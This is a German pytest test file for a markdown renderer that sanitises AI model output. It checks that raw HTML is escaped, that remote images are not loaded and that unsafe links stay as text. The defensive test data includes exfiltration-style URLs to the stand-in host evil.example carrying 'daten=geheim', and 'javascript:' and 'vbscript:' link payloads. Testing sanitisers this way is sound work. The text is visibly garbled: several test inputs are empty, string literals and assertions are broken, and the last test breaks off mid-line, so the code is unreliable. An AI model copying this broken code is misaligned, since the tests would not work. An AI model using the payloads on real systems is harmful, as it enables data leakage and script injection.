"""Bereinigte Darstellung von Modellausgaben (→ Konzept 4.5, Abnahmekriterium 15).""" import pytest from app.core.markdown import render from app.tasks.worker import Worker from helpers import connect_repo, create_workspace def test_markdown_wird_gerendert(): html = render("# Titel\n\n**fett** und `code`\n\n- a\n- b\n\n|x|y|\n|-|-|\n|1|2|\n\n```\nprint(1)\n```") for part in ("

Titel

", "fett", "code", "
  • a
  • ", "1", "
    print(1)"):
            assert part in html
    
    
    @pytest.mark.parametrize("text", [
        "",
        '',
        "x",
        '
    x
    ', "", ]) def test_kein_roh_html(text): html = render(text) assert "<") # nur noch als maskierter Text def test_bilder_werden_nicht_geladen(): html = render("![Diagramm](https://evil.example/leak.png?daten=geheim)") assert "") assert 'href="https://evil.example/a?daten=geheim"' in html and 'rel="noopener noreferrer nofollow"' in html assert '(https://evil.example/a?daten=geheim)' in html # Ist der Text schon die URL, wird sie nicht doppelt gezeigt assert html.count("https://example.org") == 2 # href und Linktext long = render(f"[x](https://example.org/{'a' * 200})") assert "…)" in long @pytest.mark.parametrize("url", ["javascript:alert(1)", "data:text/html,x", "/intern/pfad", "vbscript:x", "JAVASCRIPT:alert(1)"]) def test_unsichere_links_bleiben_text(url): html = render(f"[klick]({url})") assert "du"}, headers={"HX-Request": "true"}) Worker(db, settings).run_once() page = anna.get(f"/chats/{chat_id}").text assert "Wichtig:" in page and "